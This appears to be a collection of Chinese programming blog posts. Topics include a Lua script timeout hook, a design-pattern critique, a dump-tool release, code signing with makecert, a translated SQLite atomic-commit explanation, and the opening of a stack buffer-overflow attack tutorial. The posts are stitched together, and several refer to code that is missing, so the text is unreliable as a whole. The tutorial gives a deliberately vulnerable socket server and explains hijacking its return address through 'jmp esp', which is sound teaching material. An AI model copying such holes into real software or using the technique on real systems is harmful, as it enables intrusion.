论坛上有人问，所以把以前做的东西拿出来秀一下。

Lua是一门小巧精致的语言，特别适用于嵌入其它的程序为它们提供脚本支持。不过脚本通常是用户编写的，很有可能出现死循环，虽说这是用户的问题，但却会造成我们的宿主程序死掉。所以检测用户脚本中的死循环并中止这段脚本的运行就显得非常重要了。

可是，一个现实的问题是死循环并不好检测，一些隐藏较深的死循环连人都很难找出来，更不用说让机器去找了。所以实际采用的方案多是检测脚本的执行时间，如果超过一定的限度，就认为里面有死循环，我下面的例子也是用的这种方法。

以下是几个相关的全局变量（我是喜欢把C++当C用的程序员，C++的忠实粉丝请忍耐一下:)）的定义。

run_user_script用来执行用户脚本，它首先通过GetTickCount把当前的时间记录到g_begin中去。然后将g_counter加一，在执行完用户脚本后再将其加一，这样就可以保证执行用户脚本时它是个奇数，而不执行时是偶数，检测脚本超时的代码可以籍此来判断当前是否在执行用户脚本。还要注意调用用户脚本要使用lua_pcall而不是lua_call，因为我们中止脚本的执行会产生一个Lua中的“错误”，在C/C++中它是一个异常，只有用lua_pcall才能保证这个错误被Lua脚本引擎正确处理。

下面的check_script_timeout用来检测脚本超时，需要在另外一个线程中周期性的调用，原因我想就不用解释了吧。它首先检查是否在执行用户脚本，或者是否已经让当前执行的用户脚本中止过。然后看这段脚本执行了多长时间，超过限度就把当前脚本计数记录到g_check中去，并通过lua_sethook设置一个钩子函数timeout_break，这个钩子函数会在用户脚本执行时被调用。

最后就是那个钩子函数了，它首先把钩子去掉，因为这个钩子只要执行一次就行了。由于设置钩子和执行钩子是在不同的线程中，并且钩子从设置到执行需要一定的时间，所以它要通过对比g_check和g_counter来判断是否还在运行判断超时所执行的那段脚本，不是就什么也不做，是就通过luaL_error产生一个错误，并中止脚本的执行，而这个错误最终会被run_user_script中的lua_pcall捕获。

上面的检测使用了两个线程，其实在一个线程中也可以做到，并且更简单。但那样会导致钩子函数频繁执行，影响效率，如果对性能没什么要求的话，也可以采用。

A是典型的数据驱动 + Builder模式, 它最大的优点是增加或删除一个模块只需要增加或删除一个数据项, 耦合很小, 所以看起来非常优雅.

而A的缺点有两个. 和上一篇一样, 其中之一也出在调试上: 当一个模块初始化失败后, 如果我们只看外面这些代码, 没有办法一眼得出是谁失败了, 必须得多一些操作才行.

第二点是A实现强制了模块的初始化和退出顺序, 先初始化的模块后退出貌似很合理, 但在一个大型系统中却总会出例外, 而且还可能出现Module1先初始化一半, 然后Module2初始化, 之后Module1再继续初始化等情况. 当然, 我们可以使用"把初始化顺序和退出顺序定义在两个数组中"或"把初始化划分为多个阶段"等方法处理这些问题, 但这些方法都会增加复杂性, 而且也都不能从根本上解决问题.

B实现则用简单直接的方法很好的避免了A的问题, 虽然它看起来好像很笨, 增加删除一个模块要改多个地方, 但这些改动总共也不过几行代码, 而且往往只涉及一个文件, 所以总体代价并不高.

最后, 本文的场景乍看起来非常适合使用Builder模式, 可为什么使用它的效果不好呢? 我本人对设计模式不感冒也不擅长, 所以只能试着解释一下这个问题: 其原因就是这个场景只是看起来像, 但其实并不适用Builder模式. Builder模式要求对象支持统一的接口, 也希望对象之间没什么关联, 这是我们作设计时追求的目标, 但在实现一个复杂系统时却很难完全满足这些要求, 所以硬套上去就会出问题. 而且在实现一个系统时, 各个模块还不可能完全定下来, 实现过程中的改动也会给Buidler模式带来麻烦. 按我个人的理解, Buidler模式不应被用来处理系统的主体模块, 它真正的适用场合之一是实现对插件的支持, 把所有插件定义在一个列表中, 然后逐项处理, 因为这时系统的主体功能已经完成, 所以可以为插件定义出清晰的接口, 而且就算定义的接口有一点问题, 它所影响的也只是某些插件而非主体功能了.

1. 像cin/cout一样, A实现能把多个操作写在一起.

2. 如果需要跳过一段数据, 需要怎么做呢? 如果用A实现, 肯定是类似下面的方法:

所以我决定自己写一个小工具降低一下制作.dmp文件的难度，也就有了今天发布的这个EasyDump（轻松转储）。代码和可执行文件都放到google code（也是刚注册的，尝试一下:)）上去了，大家可以到http://code.google.com/p/easytools/下载。

程序还没有很好的测试过，如果有bug的话，应该可以直接在项目主页上报告。另外下一步考虑增加三个功能：首先是异常过滤，因为first chance异常太多了！如果选择了生成.dmp的话，一秒钟可能就有十个甚至更多的文件，设置了异常过滤后，可以把一些不关心的异常屏蔽掉，不生成文件。其次是如果没有second chance的话，就把first chance的文件直接删掉，也有助于减少不必要的文件。第三是界面的国际化，也发布个英文版什么的。

2009.01.08: 自动删除first chance文件的功能已经实现.
2009.01.22: 异常过滤功能已经实现.

1. makecert生成x.509证书和私钥, 会弹出界面要求输入两次密码, 我输的是123, 其中localvar studio是公司名
makecert /sv sign.pvk /n "CN=localvar studio" sign.cer

2. 把x.509证书转换为Software Publisher Certificate
cert2spc sign.cer sign.spc

3. 把pvk转换为pfx, 例子中的123是私钥密码
pvk2pfx -pvk sign.pvk -pi 123 -spc sign.spc -pfx sign.pfx

4. 签名, 稍微调整一下，就能写在post build event里了，123是密码
signtool sign /f sign.pfx /p 123 test.exe

上面的例子只是演示签名过程，由于证书是本机做出来的，所以签了名也没用，用户那看到的仍然是“未知发行商”。向证书颁发机构申请真正的证书时，能直接得到.spc和.pvk文件，所以就不用执行前两步了。

PS: 证书颁发机构真是坐地收钱呀，几秒钟生成个证书，每年就收好几千。

1. 引言

2. 对硬件的假设

3. 单文件提交

3.1. 初始状态

3.2. 获取一个“读锁”

3.3. 从数据库中读数据

3.4. 获取一个预定（Reserved）锁

3.5. 创建回滚日志（Journal）文件

3.6. 在用户空间中修改数据库

3.7. 把日志文件“刷”到磁盘

3.8. 获取一个独占锁

3.9. 更新数据库文件

3.10. 把变化刷到存储器

3.11. 删除日志文件

3.12. 释放锁

4. 回滚

4.1. 如果出了问题…

4.2. “热的”回滚日志

日志文件头中没有主日志文件的文件名，或者，如果有主日志文件名的话，主日志文件是存在的。
    热日志文件告诉我们：之前有进程试图提交一个事务，但由于某种原因，这个提交没有完成。也就是说：数据库处于一种不一致的状态，使用之前必须修复（回滚）。

4.3. 获取数据库上的独占锁

    处理热日志的第一步是获得数据库文件上的独占锁，这可以防止两个或更多的进程同时回放一个热日志。

4.4. 回滚不完整的修改

    获得了独占锁，进程就有权力修改数据库文件了。它从日志中读出页面的原有内容，然后把它们分别写回到其在数据库文件中的原始位置上去。前面说过，日志文件的头部记录了数据库文件在事务开始前的大小，如果修改让数据库文件变大了，SQLITE会使用这一信息把文件截断到原始大小。这一步结束之后，数据库文件就应该和事务开始前一样大，并且包含和那时完全一样的数据了。

4.5. 删除热日志文件

    日志中的所有信息都回放到数据库文件，并将数据库文件刷到磁盘（回滚时可能会再次掉电）以后，就可以删除热日志文件了。

4.6. 继续前进，就像那个中断了的事务根本没发生过一样

    回滚的最后一步是把独占锁降级为共享锁。此后，数据库的状态看起来就像那个中断了的事务根本没有开始过一样了。由于整个回滚过程是完全自动、透明的，使用SQLITE的那个程序根本就不会知道有一个事务中断并回滚了。

5. 多文件提交

    通过ATTACH DATABASE命令，SQLITE允许一个数据库连接使用多个数据库文件。当在一个事务中修改多个文件时，所有文件都会被原子的更新。换句话说，或者所有文件都会被更新，或者一个也不会被更新。在多个文件上实现原子提交比在单个文件上实现更复杂，本章将解释SQLITE是如何做到这一点的。

5.1. 每个数据库一个日志

    当一个事务涉及了多个数据库文件时，每个数据库都有自己回滚日志，并且对它们的锁也是各自独立的。下图展示了三个数据库文件在一个事务中被修改的情况，它所描述的状态相当于单文件事务在第3.6节中的状态。每个数据库文件有各自的预定锁，它们将要被修改的那些页的原始内容已经写进回滚日志了，但还没有刷到磁盘上。用户内存中的数据已经被修改了，不过数据库文件本身还没有任何变化。
    相比之前，下图做了一些简化。在这张图上，蓝色仍然代表原始数据，粉红色仍然代表新数据。但上面没有画出回滚日志和数据库的页，并且也没有明确区分操作系统缓存中的数据和磁盘上的数据。所有这些在这张图上仍然适用，不过即使把它们画出来我们也学不到什么新的东西，所以，为了缩小图幅，我们把它们省略掉了。

5.2. 主日志文件

    多文件提交中的下一步是创建一个“主日志文件”。这个文件的名字是最初的数据库文件名（也就是用sqlite3_open()打开的那个数据库，而不是之后附加上来的那些）加上后缀“-mjHHHHHHHH”。其中HHHHHHHH是一个32位16进制随机数，每次生成新的主日志文件时，它都会不同。
     （注意：上面一段中用来生成主日志文件名的方法是3.5.0版中使用的方法。这个方法并没有规范化，也不是SQLITE对外接口的一部分，在未来版本中，我们可能会修改它。）
     主日志中没有与原始数据库页面内容相关的信息，它里面保存的是所有参与到这个事务中的回滚日志文件的完整路径。
     主日志生成完毕后，会被立即刷到磁盘上，中间没有任何别的操作。在unix系统上，主日志所在的目录，也会被同步一下，以确保掉电后它也会出现在这个目录下。

5.3. 更新回滚日志文件头

    下一步是把主日志的路径记录到回滚日志的文件头中去，回滚日志创建时在文件头预留了相应的空间。
    主日志路径写到回滚日志文件头之前和之后，要分别把回滚日志的内容往磁盘上刷一次。这可能有些效率损失，但非常重要，而且，幸运的是，刷第二次时一般只有一页（最开始的那页）数据有变化，所以整个操作可能并没有想象的那么慢。
    这个操作大致相当于单文件提交时的第7步，也就是第3.7节中的内容。

5.4. 更新数据库文件

    把回滚日志刷到磁盘上后，就可以安全的更新数据库文件了。我们需要获得所有数据库文件上的独占锁，然后写数据，并把这些数据刷到磁盘上去。这一步相当于单文件提交时的第8、9和10步。

5.5. 删除主日志文件

    下一步是删除主日志文件，这是多文件事务被实际提交的时间点。它相当于单文件提交时的第11步，也就是删除日志文件的那一步。
    如果掉电或系统崩溃发生在这之后，重启时，即使存在回滚日志文件，事务也不会被回滚。这里的区别在于回滚日志的文件头里面有主日志的路径。SQLITE只认为文件头中没有主日志文件路径的回滚日志（单文件提交的情况）或主日志文件仍然存在的回滚日志是“热的”，并且只会回放热的回滚日志。

5.6. 清理回滚日志文件

    最后是删除所有的回滚日志文件，释放独占锁以便其他进程发现数据的变化。这一步对应的是单文件提交时的第12步。
    由于事务已经提交了，所以删除这些文件在时间上并不是非常紧迫。当前的实现是删除一个日志文件，并释放其对应的数据库文件上的独占锁，然后再接着处理下一个。今后，我们可能把它改成先删除所有日志文件，再释放独占锁。这里，只要保证删除日志文件在前，释放其对应的锁在后就行，文件被删除的顺序或锁被释放的顺序并不重要。

6. 提交中的更多细节

    第3章从总体上介绍了SQLITE原子提交的实现方法，但漏掉了几个重要的细节，本章将对它们进行一些补充说明。

6.1. 总是日志中记录整个扇区

    在把数据库页面的原始内容写进回滚日志时，即使页面比扇区小，SQLITE也会把完整的扇区写进去。从前，SQLITE中的扇区大小是硬编码的512字节，而最小页面也是512字节，所以不会有什么问题。但从3.3.14版开始，SQLITE也支持扇区大小超过512字节的存储器了，所以，从这一版起，当某个扇区中的任何页面被写进日志时，这个扇区中的其它页面也会被一同写进去。
    掉电可能在写扇区时发生，总是记录整个扇区可以在这种情况下保证数据库不被破坏。例如，我们假设每个扇区有四个页面，现在2号页面被修改了，为了把变化写入这个页面，底层硬件，因为它只能写完整的扇区，也会把1、3、4号页面重新写一遍，如果写操作被打断，这三个页面的数据可能就不对了。为了避免这种情况，必须把扇区中的所有页面写到回滚日志中去。

6.2. 日志文件中的垃圾数据

    向日志文件末尾追加数据时，SQLITE一般悲观的假设文件系统会先用垃圾数据把文件撑大，再用正确的数据覆盖这些垃圾。换句话说，SQLITE假设文件体积先变大，之后才是写入实际内容。如果掉电发生在文件已经变大但数据还未写入时，回滚日志中就会包含垃圾数据。电力恢复后，另一个SQLITE进程会发现这个日志文件，并试图恢复它，这就有可能把垃圾数据拷贝到数据库文件，进而对其造成破坏。
    为对付这个问题，SQLITE建立了两道防线。首先，SQLITE在回滚日志的文件头中记录了实际的页面数。这个数字一开始是0，所以，在回放一个不完整的回滚日志时，SQLITE会发现文件中没有包含任何页面，也就不会对数据库做任何修改。提交之前，回滚日志会被刷到磁盘上，以保证其中没有任何垃圾。之后，文件头中的页面数才会被改成实际的数值。文件头总是保存在一个单独的扇区去，所以，如果在覆盖它或把它刷到磁盘上时发生掉电，其它页面是不会被破坏的。注意回滚日志要往磁盘上刷两次：第一次是写页面的原始内容，第二次是写文件头中的页面数。
    上一段描述的是同步选项设置为“full”（PRAGMA synchronous=FULL）时的情形，这也是默认的设置。不过，当同步选项低于“normal”时，SQLITE只会刷一次日志文件，也就是修改完页面数后的那一次。由于（大于0的）页面数可能先于其它数据到达磁盘，这样做有一定的风险。SQLITE假设文件系统会记录写请求，所以即使先写数据后写页面数，页面数也可能会先被磁盘记录下来。所以，作为第二道防线，SQLITE在日志文件中为每页数据都记录了一个32位的校验码。回滚日志文件时，SQLITE会检查这个校验码，一旦发现错误，就会放弃回滚操作。要注意的是，校验码无法完全保证页面数据的正确性，数据有错误但校验码正确的概率虽然极小，却不是零.。不过，校验码机制至少让类似的事情看起来不那么容易发生了。
    在同步选项设置为“full”时，就没有必要用校验码了，我们只在同步选项低于“normal”时才需要它。然而，鉴于校验码是无害的，故不管同步选项如何设置，它们总是出现在回滚日志中的。

6.3. 提交之前的缓存溢出

    第三章描述的过程假设提交之前所有的数据库变化都能保存在内存中。一般来说就是这样的，但特殊情况也会出现。这时，数据库变化会在事务提交之前用完用户缓存，需要把缓存中的内容提前写入数据库才行。
    操作之前，数据库连接处于第3.6步时的状态：原始页面的内容已经保存到回滚日志了，修改后的页面位于用户内存中。为了回收缓存，SQLITE执行第3.7到3.9步，也就是把回滚日志刷到磁盘上，获取独占锁，然后把变化写入数据库。但后续步骤在事务真正提交之前都有所不同。SQLITE会在日志文件的最后追加一个文件头（使用一个单独的扇区），独占锁继续保留，而执行流程将跳到第3.6步。当事务提交或再次回收缓存时，将重复执行第3.7和3.9步（由于第一次回收缓存时获得了独占锁且一直没有释放，3.8步将被跳过）。
    把预定锁提升为独占锁将降低并发度，额外的刷磁盘操作也非常慢，所以回收缓存会严重影响系统效率。因此，只要有可能，SQLITE就不会使用它。

7. 优化

    对程序的性能分析显示，在绝大多数系统和绝大多数情况下，SQLITE把绝大部分时间消耗在了磁盘I/O上。所以，减少磁盘I/O的数量是最有可能大幅提升效率的方法。本章将介绍SQLITE在保证原子提交的前提下，为减少磁盘I/O而使用的一些技术。

7.1. 在事务之间保持缓存数据

    在3.12节中，我们说过当释放共享锁时会丢弃所有已经在用户缓存中的数据库信息。之所以这样做，是因为没有共享锁的时候其他进程能够随意修改数据库文件的内容，从而导致已经缓存的数据过时。所以，每当一个新事务开始时，SQLITE都必须重新读一次以前读过的东西。这个操作并不像大家想象的那么糟糕，因为要重新读的数据极有可能仍在操作系统的缓存中，所谓的“重读”一般仅仅是把数据从内核空间拷贝到用户空间而已。不过，即使如此，也是需要一些时间的。
    从3.3.14版开始，我们在SQLITE中增加了一个机制来避免不必要的重读。这些版本中，释放共享锁后，用户缓存的页面继续保留。等到SQLITE启动下一个事务并获得共享锁后，它会检查是否有其他进程修改了数据库文件。如果自上次释放锁后有修改，用户缓存会被清空并重读。但一般不会有任何修改，所以用户缓存仍然有效，这样很多不必要的读操作就被避免了。
    为了判断数据库文件是否被修改，SQLITE在文件头（第24到27字节）中使用了一个计数器，每个修改操作都会递增它。释放数据库锁之前，SQLITE会记下这个计数器的值，等到再次获得锁以后，它比较记录的值和实际的值，相同则重用已有的缓存数据，不同则清空缓存并重读。

7.2. 独占访问模式

    自3.3.14版开始，SQLITE中增加了“独占访问模式”。在这种模式下，SQLITE会在事务提交后继续保留独占锁。这样一来，其他进程就不能访问数据库了。不过，由于大多数的部署方案都只有一个进程访问数据库，所以一般不会有什么问题。独占访问模式让以下三个减少磁盘I/O的方法成为了可能：

1. 除了第一个事务，不必每次递增数据库文件头中的计数器。这通常意味着在数据库文件和回滚日志中各自少刷一次1号页面。
2. 因为没有别的进程能访问数据库，所以没必要每次启动事务时检查计数器和清空用户缓存。
3. 事务结束后可以截断（译注：把文件长度设置为0字节）回滚日志文件，而不是删除它。在很多操作系统上，截断比删除快的多。

    第三项优化，也就是用截断代替删除，并不要求一直拥有独占锁。理论上说，总是实现它，而不是只在独占访问模式下实现它是可能的，也许我们会在未来版本中让其成为现实。不过，到目前为止（3.5.0版），这项优化仍然只在独占访问模式下有效。

7.3. 不记录空闲页面

    从数据库中删除数据时，那些不再使用的页面会被加到“空闲页表”里去。之后的插入操作将首先使用这些页面，而不是扩大数据库文件。
    一些空闲页面中也有重要数据，比如说其他空闲页面的位置等等。但大多数空闲页面的内容没有用，我们把这些页面称为“叶页”。修改叶页的内容对数据库没有任何影响。
    由于叶页的内容没用，SQLITE不会把它们在提交过程的第3.5步中记录到回滚日志里去。也就是说，修改叶页，但不在回滚过程中恢复它们对数据库无害。同样的，一个新叶页的内容既不会在第3.9步中写入数据库也不会在第3.3步中被读出来。在数据库文件有空闲空间时，这项优化大幅减少了磁盘I/O的数量。

7.4. .单页更新和原子扇区写

    从3.5.0版开始，新的VFS接口包含了一个名叫xDeviceCharacteristics的方法，它可以报告底层存储器是否支持一些特性。这些特性中，有一个是“原子扇区写”。
    我们前面说过，SQLITE假设写扇区是线性的，而不是原子的。线性写从扇区的一端开始，逐字节写到另一端结束。如果在线性写的中间发生掉电，则可能扇区的一端被修改了，另一端却保持不变。但在原子写的情况下，扇区或者被完全更新了，或者完全没有变化。
    我们相信大多数现在磁盘驱动器实现了原子扇区写。掉电时，驱动器使用电容中的电能和（或）盘片旋转的动能完成正在进行的操作。然而，在系统写调用与磁盘电子元件之间存在太多的层次，所以我们在Unix和windows的默认VFS实现上做了一个保守的假设，认为写扇区不是原子的。另一方面，能对其使用的文件系统有更多发言权的设备厂商，如果它们的硬件确实支持原子扇区写，也许会选择打开xDeviceCharacteristics中的这个选项。
    当写扇区是原子的、数据库页面和扇区一样大，而且数据库的变化只涉及到一个页面时，SQLITE会跳过整个记日志和同步过程，直接把修改后的页面写到数据库文件上。数据库文件第一页上的修改计数器也会独立修改，因为即使在更新它之前掉电也是无害的。
    译注：个人认为，如果硬件不支持原子扇区写，是无法在软件层次上实现绝对意义上的原子提交的。

7.5. 支持安全追加的文件系统

    3.5.0版加入的另一项优化措施是基于文件系统的“安全追加”功能的。SQLITE假设向文件（特别是回滚日志文件）追加数据时，文件大小的改变早于文件内容增加。所以，如果掉电发生在文件变大之后，数据写完之前，文件中就会包含垃圾数据。也可以通过VFS中的xDeviceCharacteristics方法指出文件系统支持“安全追加”功能，这意味着内容的增加早于大小的改变，所以掉电或系统崩溃不可能向日志文件中引入垃圾。
    文件系统支持安全追加时，SQLITE总是在日志文件头的页面数字段中填入-1，表示回滚时要处理的页面数应该根据日志文件的大小自动计算。这个-1不会被修改，所以提交时，我们可以不用单独刷一次日志文件的第一页。而且，当回收缓存时，也没有必要在日志文件末尾再写一个新的文件头了，我们只要继续在已有的日志文件上追加新页面即可。

8. 对原子提交的测试

    我们作为SQLITE的开发者，对其在掉电和系统崩溃时的健壮性充满自信，因为，我们的自动测试过程在模拟的掉电故障下，对它的恢复能力进行了非常多的检测。我们把这种模拟的故障称为“崩溃测试”。
    崩溃测试使用了一个修改过的VFS，以便模拟掉电或崩溃时可能出现的各种文件系统错误。它可以模拟出没有完整写入的扇区、因为写操作没有完成而包含垃圾数据的页面、顺序错误的写操作等，这些错误在测试场景的各个路径点上都会出现。崩溃测试不停地执行事务，让模拟的掉电或系统崩溃发生在各个不同的时刻，造成各种不同的数据损坏。在模拟的崩溃事件发生之后，测试程序重新打开数据库，检测事务是否完全完成或者（看起来）根本没有启动，也就是数据库是否处于一个一致的状态。
    SQLITE的崩溃测试帮助我们发现了恢复机制中的很多小问题（现在都已经修复了）。其中的一部分非常隐晦，单单通过代码检查和分析可能是发现不了的。这些经验让SQLITE的开发者相信：那些没有使用类似崩溃测试的数据库系统，非常有可能包含在系统崩溃或掉电时导致数据库损坏的BUG。

9. 可能发生的问题

    虽然SQLITE的原子提交机制本身是健壮的，但它却有可能被恶意的对手或不那么完善的操作系统实现给打垮。本章将介绍几个可能在掉电或系统崩溃时导致数据库损坏的情形。

9.1. 有问题的锁

    SQLITE使用文件系统的锁来保证某一时刻只有一个进程和数据库连接可以修改数据库。文件系统的锁机制是在VFS层实现的，并且在每种操作系统上都有所不同。SQLITE自身的正确性依赖于这个实现的正确性。如果它出了问题，导致两个或更多进程能同时修改一个数据库文件，肯定会严重损坏数据库。
    有人向我们报告说windows的网络文件系统和（Unix的，译注）NFS的锁都有些问题。我们验证不了这些报告，但是考虑到在网络文件系统上实现一个正确的锁的难度，我们也无法否定它们。由于网络文件系统的效率也很低，所以我们建议你最好是避免在其上使用SQLITE。如果一定要这么做的话，请考虑使用一个附加的锁机制来保证即使文件系统自身的锁机制不起作用时，也不会出现多个进程同时写一个数据库文件的情况。
    苹果Mac OS X计算机上预装的SQLITE进行了一个扩展，可以在苹果支持的所有网络文件系统上使用一个替代的加锁策略。只要所有进程使用统一的方式访问数据库文件，这个扩展就工作的很好。但不幸的是，这些加锁机制是相互独立的，如果一个进程用AFP锁，另一个用点文件（dot-file）锁，那这两个进程就可能发生冲突，因为AFP锁并不能禁止点文件锁，反之亦然。

9.2. 不完整的刷磁盘操作

    在第3.7节和3.10节中你已经看到，SQLITE要把系统缓存刷到磁盘上。在unix系统上，这是用fsync()系统调用来完成的，windows上则是用FlushFileBuffers()。可是，我们收到的报告显示，很多系统上的这些接口没有广告宣传的那么好。我们听说，在一些windows版本上，通过修改注册表，可以完全禁用FlushFileBuffers()；而linux的某些历史版本中的fsync仅仅是个什么也不干的空操作。我们还知道，即使是在FlushFileBuffers()或fsync()可以正常工作的系统上，IDE磁盘控制器也经常会在数据仍处在自己的缓存中时，撒谎说数据已经到达磁盘表面了。
    在苹果的系统上，如果你把fullsync选项打开（PRAGMA fullsync=ON），它可以保证数据确实刷到磁盘上了。Fullsync本身就很慢，而fullsync的实现还需要重置磁盘控制器，这会让其他根本不相关的磁盘I/O也变慢，所以我们不建议你这样做。

9.3. 文件删除只完成了一半

    SQLITE假设从用户程序的角度看文件删除是原子操作。如果删除文件时掉电，电力恢复后，SQLITE期望这个文件或者不存在，或者是一个完整的、和删除前一模一样的文件。如果操作系统做不到这一点，事务就有可能不是原子的。

9.4. 文件中的垃圾

    SQLITE的数据库文件是普通的文件，其它用户程序也可以打开它并任意的往里面写数据，一些流氓程序就可能这样做。垃圾数据的来源也可能是操作系统或磁盘控制器的BUG，尤其是那些会在掉电时触发的BUG。对此类问题，SQLITE无能为力。

9.5. 删除或重命名热日志文件

    如果发生了掉电或崩溃，并且生成了热日志文件，那么，在另一个SQLITE进程打开它和数据库文件并完成回滚之前，这两个文件的名字绝对不能改变。在第4.2步时，SQLITE会在打开的数据库文件所在的目录下，寻找热日志文件，这个文件的名字是从数据库文件名派生而来的。所以，只要这两个文件中的任何一个被移走或改名，就会找不到热日志，也就不会进行回滚。
    我们认为SQLITE恢复过程的失败模式一般是这样的：发生了掉电；电力恢复后，一位好心的用户或者系统管理员开始清点损失；他们发现有一个名为“important.data”的文件，他们可能很熟悉这个文件，所以没有对其进行任何操作；但崩溃后，磁盘上还有一个名为“important.data-journal”的热日志文件，用户把它删除了，因为他们认为这个文件是系统中的垃圾。防止此类事件的唯一方法可能就是加强用户教育了。
    如果有多个链接（硬链接或符号链接）指向一个数据库文件，那么生成的日志文件会依据打开数据库文件时使用链接名来命名。如果发生了崩溃，并且下次打开数据库时使用了另一个链接，则也会因为找不到热日志文件而不进行回滚。
    某些时候，掉电会导致文件系统出错，以致新更改的文件名无法记录，这时，文件就会被移动到“/lost+found”目录下。为防止此类错误，SQLITE会在同步日志文件的同时，打开并同步一下这个文件所在的目录。但是，一些八竿子打不着的程序，在数据库文件所在目录下创建其他文件的操作，也可能会导致文件被移动到“/lost+found”里去，这是SQLITE控制不了的，所以SQLITE对它也没什么办法。如果你正在使用此类名字空间易被损坏的文件系统（我们相信大多数现代的日志文件系统没有此问题），我们建议你把SQLITE的数据库文件放在单独的子目录中。

10. 总结和展望

    不论是过去还是现在，总有人能发现一些SQLITE原子提交机制的失败模式，开发者也不得不为此做一些补丁。但这类事情发生的已经越来越少了，失败模式也变得越来越隐晦。不过，如果藉此认为SQLITE的原子提交逻辑已经无懈可击了，肯定是相当愚蠢的。开发者们能承诺的只是尽量快速的修复新发现的BUG。
    同时，我们也在寻找新的方法来优化这个提交机制。在Linux、MacOSX和windows上，当前的VFS实现都做了悲观的假设。也许在与一些熟悉这些系统工作原理的专家交流之后，我们能放宽一些限制，让它跑得更快些。特别的，我们猜测大部分现代文件系统已经具有了“安全追加”和“原子扇区写”这两个特性，但在确认之前，我们仍会保守的做最坏假设。

    一直认为是①, 今天正在写的程序出错了才发现是②. 老天保佑以前的程序不出错吧. 这个错误一直没发现的原因有两点，一是我用do while循环比较少, 里面有continue的更少; 二是自己偷懒了, 想当然了, 其实以前怀疑过它的结果的, 但觉得①更符合逻辑就没有深究.

    犯了错误总是比较郁闷的, 不过能在一个上午认识到这样两个错误，也算收获不小了。

解决方法：
用IDE打开“{vs2003安装目录}\Common7\IDE\2052\msenvui.dll”，修改字符串资源13654和对话框资源4402。保存并重启ide即可。

什么是缓冲区溢出

    你一定用strcpy拷贝过字符串吧？那，如果拷贝时目的字符串的缓冲区的长度小于源字符串的长度，会发生什么呢？对，源字符串中多余的字符会覆盖掉进程的其它数据。这种现象就叫缓冲区溢出。根据被覆盖数据的位置的不同，缓冲区溢出分为静态存储区溢出、栈溢出和堆溢出三种。而发生溢出后，进程可能的表现也有三种：一是运行正常，这时，被覆盖的是无用数据，并且没有发生访问违例；二是运行出错，包括输出错误和非法操作等；第三种就是受到攻击，程序开始执行有害代码，此时，哪些数据被覆盖和用什么数据来覆盖都是攻击者精心设计的。
    一般情况下，静态存储区和堆上的缓冲区溢出漏洞不大可能被攻击者利用。而栈上的漏洞则具有极大的危险性，所以我们的讲解也以栈上的缓冲区溢出为例。

攻击原理

    要进行攻击，先得找到靶子。所以我就准备了一个叫做“victim”的程序作为被攻击对象，它在逻辑上等价于下面的代码：

void GetComputerName(SOCKET sck, LPSTR szComputer)
{
    char szBuf[512];
    recv(sck, szBuf, sizeof(szBuf), 0);
    LPSTR szFileName = szBuf;
    while((*szFileName) == '\\')
        szFileName++;
    while((*szFileName) != '\\' && (*szFileName) != '\0')
    {
        *szComputer = *szFileName;
        szComputer++;
        szFileName++;
    } 
    *szComputer = '\0';
}
void ShowComputerName(SOCKET sck)
{
    char szComputer[16];
    GetComputerName(sck, szComputer);
    // mov ecx,dword ptr [esp+4]
    // sub esp,10h; ———②
    // lea eax,[esp]
    // push eax
    // push ecx
    // call GetComputerName (401000h)
    printf(szComputer);
    // lea edx,[esp]
    // push edx
    // call printf (401103h)
}
    // add esp,14h
    // ret 4; ———③




int __cdecl main(int argc, char* argv[])
{
    WSADATA wsa;
    WSAStartup(MAKEWORD(2,2), &wsa);
    struct sockaddr_in saServer;
    saServer.sin_family = AF_INET;
    saServer.sin_port = 0xA05B; //htons(23456)
    saServer.sin_addr.s_addr=ADDR_ANY;
    SOCKET sckListen = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP);
    bind(sckListen, (sockaddr *)&saServer, sizeof(saServer));
    listen(sckListen, 2);
    SOCKET sckClient = accept(sckListen, NULL, NULL);// ———①
    ShowComputerName(sckClient);
    closesocket(sckClient);
    closesocket(sckListen);
    WSACleanup();
    return 0;
}

    victim程序的本意是从网络上接收一个UNC（Universal Naming Convention）形式的文件名，然后从中分离出机器名并打印在屏幕上。由于正常情况下，机器名最多只有16个字节，所以ShowComputerName函数也只给szComputer分配了16个字节长的缓冲区，并且GetComputerName也没有对缓冲区的长度做任何检查。这样，ShowComputerName中就出现了一个缓冲区溢出漏洞。
    找到了漏洞，下一步要做的就是分析漏洞来找到具体的攻击方法。我们来看一下ShowComputerName的编译结果，每条c/c++语句下面注释中就是其编译后对应的汇编代码。对这些代码，我要说明两点：①这里使用的是stdcall调用约定，它是windows程序中最常用的调用约定，下文中的示例代码如果没有特别说明都将使用这种约定。有关各种调用约定的含义和区别，请参考相关资料。②因编译器、编译选项的不同，编译结果也可能不一样，后面的攻击代码是根据上面的编译结果编写的，我无法保证它在你的环境中也能正确执行。
    我在程序中标注了三个标号，下图从左至右分别是程序执行完三个标号对应的代码后堆栈的状态及esp寄存器的指向，其中每个小格代表一个字，即四字节。  
    从图中可以看出，当main调用ShowComputerName时，程序会首先将它的参数压栈，然后再将其执行完毕后的返回地址压栈。进入ShowComputerName后，程序再调整esp寄存器，为局部变量分配存储空间。而ShowComputerName返回时执行的“ret 4”指令不仅让程序跳转到返回地址继续运行，还会将返回地址、函数参数从栈中弹出，使栈恢复到调用前的状态。
    很明显，如果UNC字符串中的机器名超过了16字节，函数ShowComputerName就会发生缓冲区溢出。为了讲解方便，下面我就开始从攻击者的角度来分析如何构造这个字符串才能让程序执行一些“意外”的代码。
    你可能已经发现：函数ShowComputerName的返回地址就存放在“szComputer+16”处。所以，如果我们能把返回地址改成“szComputer+20”，并从地址“szComputer+20”开始填上一些我们需要的指令对应的数据，那么我们就能达到目的了。很高兴你能想到这些，但这是不可能的，因为我们既要根据szComputer来构造字符串，又要在szComputer确定前完成构造完字符串。所以，此路不通，我们必须拐个弯才行。
    如果你还注意到cpu执行完“ret 4”指令后，esp指向“szComputer+24”处，那么你已经看到该在哪拐弯了。绝大多数情况下，我们能在进程的地址空间中找到一条拥有固定地址“jmp esp”指令，我们只需在“szComputer+16”处填上这条指令的地址，然后再从“szComputer+24”开始填入攻击指令就可以了。这样，ShowComputerName返回时，cpu执行“ret 4”指令，再执行“jmp esp”指令，控制权就转移到我们手里了。怎么样？很简单吧！
    不过你还不要高兴得太早，上面所说的只是缓冲区溢出攻击的基本原理。而理论与实际永远是有一段距离的。要真正完成攻击，我们还有好几个棘手的问题需要解决。
